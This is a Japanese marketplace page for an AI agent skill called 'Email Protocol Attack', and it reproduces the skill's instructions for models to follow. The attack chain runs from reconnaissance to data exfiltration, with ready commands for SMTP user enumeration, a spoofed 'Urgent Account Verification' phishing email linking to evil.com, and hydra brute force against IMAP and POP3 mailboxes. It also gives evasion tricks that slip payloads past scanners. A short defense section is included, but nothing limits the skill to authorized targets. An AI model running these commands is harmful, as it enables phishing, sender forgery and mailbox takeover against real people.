Email Protocol Attackのロゴ

Email Protocol Attack

コミュニティ
brucesongs
email-protocol-attack

Email protocol attacks targeting mail infrastructure at the protocol level.

概要

公開者brucesongs
リポジトリkali-claw
スキル名email-protocol-attack
スター
70
フォーク
18
同梱ファイル
10
ライセンスMIT
リンク
  • Markdown形式の指示

    モデルが必要に応じて読み込むSKILL.mdファイルです。関連するリクエストがあったときだけトークンを消費します。

  • どのLLMでも利用可能

    AIスキルはプロバイダー固有のコードではなく、通常のMarkdownなので、GPT、Claude、Gemini、Grok、ローカルモデルで利用できます。

  • 10個の同梱ファイル

    モデルが作業中に読み取れるスクリプト、テンプレート、参考資料です。ファイルは読み取り専用で、実行されることはありません。

  • オープンソース

    brucesongsがGitHubで公開しています。インストールする前にソースを確認してください。

インストール

AIスキルEmail Protocol AttackをTypingMindにインストールすれば、どのLLMでも利用できます。SKILL.mdを読み取れる別のAIエージェントに追加することもできます。

1

TypingMindにインストール

TypingMindはGitHubフォルダから直接スキルをインストールします。SKILL.mdを読み取り、リソースファイルをまとめてローカルに保存します。

  1. アプリを開き、「プラグイン」→「スキル」に移動します。
  2. 「GitHubからインストール」を選択します。
  3. 以下のスキルフォルダのURLを貼り付けて確定します。
    https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attack
  4. スキルを利用したいチャットごとに、そのスキルを有効にしてください。
「プラグイン」→「スキル」→「スキルを追加」→「GitHubのURLから」を選択し、フォルダのURLを貼り付けて「続行」を押します。
2

別のAIエージェントにインストール

Agent Skills形式を読み取れるAIエージェントなら、このスキルを利用できます。フォルダをそのAIエージェントのスキルディレクトリにコピーしてください。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/email-protocol-attack .claude/skills/email-protocol-attack
コピー後、新しいスキルを読み込むためにClaude Codeを再起動してください。

TypingMindで使用

TypingMindのチャットでEmail Protocol Attackを有効にするだけで、あとはモデルが対応します。名前と説明がシステムプロンプトに含まれ、関連するリクエストがあると、モデルが指示の全文を自動で読み込みます。手動で呼び出す必要はなく、実際に使用されるまでトークンを消費しません。

関連するリクエストがあると、モデルが自動的にEmail Protocol Attackを読み込みます。

どのAIモデルでも利用可能

AIスキルはプロバイダー固有のコードではなく、通常のMarkdownで書かれた指示です。そのため、Email Protocol Attackは作成時に想定されたモデルに縛られません。TypingMindに一度インストールすれば、ご自身のAPIキーを使って、GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama、またはご自身で実行するローカルモデルで利用できます。

  • 必要なときだけ読み込み

    システムプロンプトには名前と説明だけが含まれます。関連するリクエストが初めてあったときに指示を取得するため、未使用のスキルにはコストがかかりません。

  • チャットの途中でモデルを切り替え

    スキルはコードではなく指示なので、モデルを切り替えてもそのまま使えます。次のモデルも同じSKILL.mdを読み込みます。

スキルの指示

モデルが読み込むSKILL.mdの内容です。スキルはモデルが従う指示なので、インストールする前に確認してください。

Skill: Email Protocol Attack

Supplementary Files:

  • payloads.md — Payload collection organized by 9 attack categories (SMTP enumeration, open relay, email forgery, SPF/DKIM/DMARC testing, IMAP brute force, Exchange attacks, header manipulation, TLS testing, fingerprinting)
  • test-cases.md — Structured test case templates (8 cases covering enumeration, relay, forgery, SPF bypass, DKIM testing, IMAP brute force, Exchange exploitation, STARTTLS downgrade)
  • guides/smtp-enumeration-relay-guide.md — SMTP reconnaissance and relay testing complete guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/POP3 and Exchange server attack guide

Summary

Email Protocol Attack skill domain covering network attack operations.

Tools: smtp-user-enum, swaks, sendemail, nailgun, smtpmap, mutt, openssl

Domain: network-attack

MITRE ATT&CK: T1114-Email Collection

Description

Email protocol attacks targeting mail infrastructure at the protocol level. This covers the full attack chain from SMTP reconnaissance (user enumeration, banner grabbing, open relay detection) through email forgery (SPF/DKIM/DMARC bypass, header manipulation) to mailbox compromise (IMAP/POP3 credential attacks, Exchange exploitation). The skill addresses both offensive techniques and corresponding defense strategies for Postfix, Sendmail, Exchange, and Dovecot servers.

Use Cases

  1. Mail server reconnaissance — Enumerate valid email accounts via SMTP VRFY/EXPN/RCPT TO commands, fingerprint mail server software and version
  2. Open relay detection — Test whether a mail server accepts unauthorized relay, enabling spam propagation or phishing delivery
  3. Email forgery and phishing — Craft spoofed emails at the protocol level, test SPF/DKIM/DMARC bypass techniques for social engineering campaigns
  4. Mailbox credential attacks — Brute force or password spray IMAP/POP3/Exchange credentials to access victim mailboxes
  5. Exchange server exploitation — Leverage Autodiscover, OWA, ActiveSync, and Exchange-specific vulnerabilities for credential harvesting and remote code execution
  6. TLS/STARTTLS testing — Assess mail server TLS configuration, test for downgrade attacks and certificate validation weaknesses
  7. Email header manipulation — Modify email headers for sender spoofing, routing manipulation, and anti-spam bypass

Core Tools

ToolPurposeCommand Example
smtp-user-enumSMTP user enumeration via VRFY/EXPN/RCPTsmtp-user-enum -M VRFY -U users.txt -t 10.0.0.1
swaksSwiss Army Knife for SMTP testing, email forgeryswaks --to victim@target.com --from spoofed@evil.com
sendemailCommand-line email sending with TLS supportsendemail -f attacker@evil.com -t victim@target.com -u "Subject" -m "Body"
nailgunHigh-performance SMTP stress testing and relay checkingnailgun -h mail.target.com -p 25
smtpmapSMTP server fingerprinting and software detectionsmtpmap mail.target.com
muttTerminal-based email client for IMAP/POP3 interactionmutt -f imaps://user:pass@mail.target.com/INBOX
opensslTLS/STARTTLS testing for SMTP and IMAP connectionsopenssl s_client -starttls smtp -connect mail.target.com:25

Methodology

Attack Chain

Reconnaissance → Enumeration → Authentication Testing → Forgery/Phishing → Mailbox Access → Data Exfiltration

1. Reconnaissance (Information Gathering)

  • Identify mail server via DNS MX records: dig MX target.com
  • Banner grabbing: nc mail.target.com 25
  • Software fingerprinting with smtpmap
  • TLS configuration assessment

2. Enumeration (User Discovery)

  • SMTP VRFY command: verify individual accounts
  • SMTP EXPN command: expand mailing lists
  • RCPT TO enumeration: test recipient validity
  • Automated enumeration with smtp-user-enum

3. Authentication Testing (Relay and Credential)

  • Open relay testing: attempt to send through target server without authentication
  • Credential brute force against IMAP/POP3
  • Exchange Autodiscover and OWA probing
  • Password spraying with common passwords

4. Forgery and Phishing (Email Protocol Attacks)

  • SPF bypass: IP-based, header manipulation, include chain exploitation
  • DKIM signature testing: selector enumeration, key length analysis
  • DMARC policy testing: p=none exploitation, subdomain bypass
  • Email header manipulation for sender spoofing

5. Mailbox Access (Post-Exploitation)

  • IMAP/POP3 credential reuse from breached databases
  • Exchange ActiveSync and EWS exploitation
  • Email forwarding rule manipulation
  • Email collection and data exfiltration

Defense Perspective

Defense MeasureDescriptionPriority
SPF/DKIM/DMARC DeploymentPublish strict SPF records, sign with DKIM, enforce DMARC p=rejectCRITICAL
Disable VRFY/EXPNTurn off SMTP verification commands to prevent user enumerationHIGH
TLS EnforcementRequire TLS for all mail submission (port 587) and server-to-server transportHIGH
Authentication PoliciesRequire strong authentication, implement account lockout and rate limitingHIGH
Open Relay PreventionConfigure mail server to reject unauthenticated relay strictlyCRITICAL
Email FilteringDeploy content filters, attachment scanning, and URL rewritingMEDIUM
Monitoring and LoggingLog all SMTP sessions, alert on enumeration attempts and relay abuseMEDIUM

Practical Steps

See payloads.md for detailed payloads, and test-cases.md for complete test checklist. Below is a summary of core operations at each stage.

Step 1: Mail Server Reconnaissance

bash
# Query MX records
dig MX target.com +short

# Banner grabbing
nc mail.target.com 25

# Fingerprint mail server
smtpmap mail.target.com

# Full port scan for mail services
nmap -sV -p 25,110,143,465,587,993,995,2525 target.com

Step 2: User Enumeration

bash
# VRFY method
smtp-user-enum -M VRFY -U /usr/share/wordlists/usernames.txt -t mail.target.com

# RCPT TO method
smtp-user-enum -M RCPT -U /usr/share/wordlists/usernames.txt -t mail.target.com

# EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/usernames.txt -t mail.target.com

Step 3: Email Forgery Testing

bash
# Basic spoofed email
swaks --to ceo@target.com --from support@bank.com --server mail.target.com \
  --header "Subject: Urgent Account Verification" \
  --body "Please verify your account at http://evil.com/phish"

# Test SPF handling
swaks --to test@target.com --from spoofed@external.com --server mail.target.com

# Test with custom headers
swaks --to victim@target.com --from admin@target.com \
  --add-header "X-Priority: 1" \
  --add-header "Reply-To: attacker@evil.com"

Step 4: TLS Configuration Assessment

bash
# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect mail.target.com:25 -showcerts

# Test IMAPS
openssl s_client -connect mail.target.com:993 -showcerts

# Test POP3S
openssl s_client -connect mail.target.com:995 -showcerts

# Check certificate validity and cipher suites
openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | openssl x509 -noout -dates -subject

Step 5: IMAP/POP3 Credential Testing

bash
# IMAP login test with mutt
mutt -f imaps://testuser:password@mail.target.com/INBOX

# Brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com imap

# POP3 credential testing
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com pop3

Detection Methods

Email Gateway Indicators

  • SPF/DKIM/DMARC failures: Authentication failure rate >5% of inbound (potential spoofing campaign).
  • Homoglyph domains: Cyrillic аpple.com vs Latin apple.com; Unicode normalization detection.
  • Reply-To mismatch: From: ceo@company.com but Reply-To: ceo@external.com.

SIEM Detection Rules

  • Splunk SPL: index=email sourcetype=mailscanner | where spf_result="fail" | stats count by sender_domain
  • Microsoft 365 ATP: Native anti-phishing policies.
  • Proofpoint / Mimecast: Email security gateway with BEC detection.

Defense Evasion Techniques

Authentication Bypass

  • Compromise legitimate relay: Use Mailchimp, SendGrid, M365 tenant for reputation.
  • Display name abuse: From: "CEO Name" attacker@external.com - mobile hides email.
  • Unicode homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061).

Content Stealth

  • Steganography in attachments: Hide payload in image LSB.
  • Password-protected archive: Password in email body; evades AV signature scanning.
  • Multipart MIME abuse: Hide payload in MIME structure; some scanners inspect only first part.

Hacker Laws

  1. Trust but Verify — Never trust email headers. Sender addresses, Reply-To fields, and routing information can all be forged at the protocol level. Verify mail authentication (SPF/DKIM/DMARC) independently.

  2. First Principles — SMTP was designed for a trusted network without authentication. Understanding the protocol's original design (clear-text, no built-in security) explains every attack vector from enumeration to forgery.

  3. Divergent Thinking — When direct email delivery is blocked, explore alternative paths: open relay through third-party servers, subdomain SPF misconfigurations, DKIM key length weaknesses, or DMARC subdomain policy gaps.

  4. Economy of Mechanism — Simpler mail security is more reliable. A properly configured SPF + DKIM + DMARC chain with p=reject is more effective than complex content filtering rules that try to detect forged emails after acceptance.

Learning Resources

Skill supplementary files:

  • payloads.md — Complete payload collection (9 attack categories, ready to copy and use)
  • test-cases.md — Structured test cases (8 case templates, with prerequisites and expected results)
  • guides/smtp-enumeration-relay-guide.md — SMTP enumeration and relay testing guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/Exchange server attack guide

Related Skills:

  • skills/network-pentest/SKILL.md — Network penetration testing foundation
  • skills/social-engineering/SKILL.md — Social engineering and phishing campaigns
  • skills/password-attack/SKILL.md — Password attack techniques for credential testing
  • skills/recon-osint/SKILL.md — Open source intelligence for email harvesting

External Resources:

同梱ファイル

スキルが読み込まれている間、モデルは必要に応じてこれらを読み取ります。読み取り可能なファイルとして提供され、実行されることはありません。

よくある質問

AIスキル「Email Protocol Attack」では何ができますか?

Email protocol attacks targeting mail infrastructure at the protocol level.

TypingMindでEmail Protocol Attackを使うメリットは何ですか?

一度インストールすれば、どのモデルでも使えるからです。Email Protocol Attackはプロバイダー固有のコードではなく、通常のMarkdownで記述されているため、同じスキルをGPT-5、Claude、Gemini、Grok、ローカルモデルで利用できます。チャットの途中でモデルを切り替えても、そのまま使い続けられます。TypingMindは自分のAPIキーで動作するため、シート単位のサブスクリプションではなく、プロバイダーに直接料金を支払います。スキルとチャットは自分のストレージに保持されます。

TypingMindにEmail Protocol Attackをインストールするにはどうすればよいですか?

TypingMindで「プラグイン」→「スキル」→「GitHubからインストール」を開き、https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attackを貼り付けてください。TypingMindがSKILL.mdを読み込み、関連ファイルをまとめて、チャットごとに有効にできるスキルとしてインストールします。

Email Protocol Attackを使えるAIモデルはどれですか?

TypingMindに接続したどのモデルでも利用できます。AIスキルはプロバイダー固有のコードではなく、通常のMarkdownで書かれた指示です。そのため、GPT、Claude、Gemini、Grok、ローカルモデルのいずれも、リクエストが合致したときにこのスキルを読み込めます。

Email Protocol Attackは何個のAIモデルで使えますか?

数に制限はありません。スキルに対応したモデルであれば、GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llamaなど、どのモデルでもEmail Protocol Attackを利用できます。すべてTypingMind上で、自分のAPIキーを使って利用できます。

AIスキル「Email Protocol Attack」は無料ですか?

はい。brucesongsがGitHubでMITライセンスの下で公開しています。支払いが必要なのは、利用したトークンに対する、ご自身が契約するAIプロバイダーへの料金だけです。

AIスキルとは何ですか?

AIスキルは、特定のタスクの実行方法をAIモデルに教える、再利用可能な指示のセットです。オープンなAgent Skills形式に従い、名前と説明を含むSKILL.mdファイルに加え、モデルが必要とするスクリプト、テンプレート、参照ファイルで構成されます。モデルはリクエストがスキルに合致したときだけ指示を読み込むため、インストール済みのスキルも、使うまでは費用がかかりません。

AIスキルは、プラグインやMCPサーバーとどう違いますか?

プラグインやMCPサーバーは、モデルが呼び出せる新しいツールを提供します。ツールとは、どこかで実行され、結果を返すコードです。一方、AIスキルは、タスクへの取り組み方、従うべき手順、望ましい出力の例といった知識や進め方をモデルに伝えます。スキルは通常のMarkdownで記述されているため、サーバー、APIキー、実行環境は不要で、どのモデルでも利用できます。

すべて見る

今すぐ自分専用のAIワークスペースを作成

ニュースレターに登録すると、新機能や今後のプレゼント企画のお知らせが届きます👇